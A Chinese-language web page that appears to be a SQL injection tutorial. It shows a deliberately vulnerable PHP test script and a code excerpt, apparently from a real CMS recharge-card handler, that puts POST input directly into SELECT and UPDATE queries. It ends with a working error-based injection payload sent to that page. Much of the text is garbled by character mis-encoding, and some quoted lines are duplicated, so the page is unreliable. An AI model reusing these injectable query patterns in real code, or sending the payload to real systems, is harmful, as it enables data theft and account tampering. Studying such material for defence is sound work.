您好,登錄后才能下訂單哦!
SQL注入***(SQL Injection),簡(jiǎn)稱注入***,是Web開(kāi)發(fā)中最常見(jiàn)的一種安全漏洞??梢杂盟鼇?lái)從數(shù)據(jù)庫(kù)獲取敏感信息,或者利用數(shù)據(jù)庫(kù)的特性執(zhí)行添加用戶,導(dǎo)出文件等一系列惡意操作,甚至有可能獲取數(shù)據(jù)庫(kù)乃至系統(tǒng)用戶最高權(quán)限。
而造成SQL注入的原因是因?yàn)槌绦驔](méi)有有效過(guò)濾用戶的輸入,使***者成功的向服務(wù)器提交惡意的SQL查詢代碼,程序在接收后錯(cuò)誤的將***者的輸入作為查詢語(yǔ)句的一部分執(zhí)行,導(dǎo)致原始的查詢邏輯被改變,額外的執(zhí)行了***者精心構(gòu)造的惡意代碼。
很多Web開(kāi)發(fā)者沒(méi)有意識(shí)到SQL查詢是可以被篡改的,從而把SQL查詢當(dāng)作可信任的命令。殊不知,SQL查詢是可以繞開(kāi)訪問(wèn)控制,從而繞過(guò)身份驗(yàn)證和權(quán)限檢查的。更有甚者,有可能通過(guò)SQL查詢?nèi)ミ\(yùn)行主機(jī)系統(tǒng)級(jí)的命令。
下面將通過(guò)一些真實(shí)的例子來(lái)詳細(xì)講解SQL注入的方式。
測(cè)試代碼如下:
<?php
$uid=$_GET['id'];
$sql="SELECT * FROM userinfo where id=$uid";
$conn=mysql_connect ('localhost','root','root');
mysql_select_db("sql",$conn);
$result=mysql_query($sql,$conn);
print_r('當(dāng)前SQL語(yǔ)句: '.$sql.'
結(jié)果: ');print_r(mysql_fetch_row($result));
?>
$uid=$_GET['id']; //獲取GET值
$sql="SELECT * FROM userinfo where id=$uid"; //執(zhí)行SQL語(yǔ)句
$conn=mysql_connect ('localhost','root','root');
mysql_select_db("sql",$conn); //數(shù)據(jù)庫(kù)配配置
$result=mysql_query($sql,$conn); //進(jìn)行查詢SQL語(yǔ)句
print_r('當(dāng)前SQL語(yǔ)句: '.$sql.'
結(jié)果: ');print_r(mysql_fetch_row($result)); //進(jìn)行打印輸出沒(méi)有任何的過(guò)濾所以利用簡(jiǎn)單的SQL注入語(yǔ)句就可以直接查詢相關(guān)需要的信息。
if(empty($_SESSION['duomi_user_id'])){
showMsg("請(qǐng)先登錄","login.php");
exit();
}
elseif($dm=='mypay'){
$key=$_POST['cardkey'];
if($key==""){showMsg("請(qǐng)輸入充值卡號(hào)","-1");exit;}
$pwd=$_POST['cardpwd'];
if($pwd==""){showMsg("請(qǐng)輸入充值卡密碼","-1");exit;}
$sqlt="SELECT * FROM duomi_card where ckey='$key'";
$sqlt="SELECT * FROM duomi_card where cpwd='$pwd'";
$row1 = $dsql->GetOne($sqlt);
if(!is_array($row1) OR $row1['status']<>0){
showMsg("充值卡信息有誤","-1");exit;
}else{
$uname=$_SESSION['duomi_user_name'];
$points=$row1['climit'];
$dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname='$uname',status='1' WHERE ckey='$key'");
$dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname='$uname',status='1' WHERE cpwd='$pwd'");
$dsql->executeNoneQuery("UPDATE duomi_member SET points=points+$points WHERE username='$uname'");
showMsg("恭喜!充值成功!","mypay.php");exit;
}
}
else
{
http://localhost/member/mypay.php?dm=mypay
POST:cardpwd=-1' AND (UPDATEXML(1,CONCAT(0x7e,(USER()),0x7e),1)) and '1'='1
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。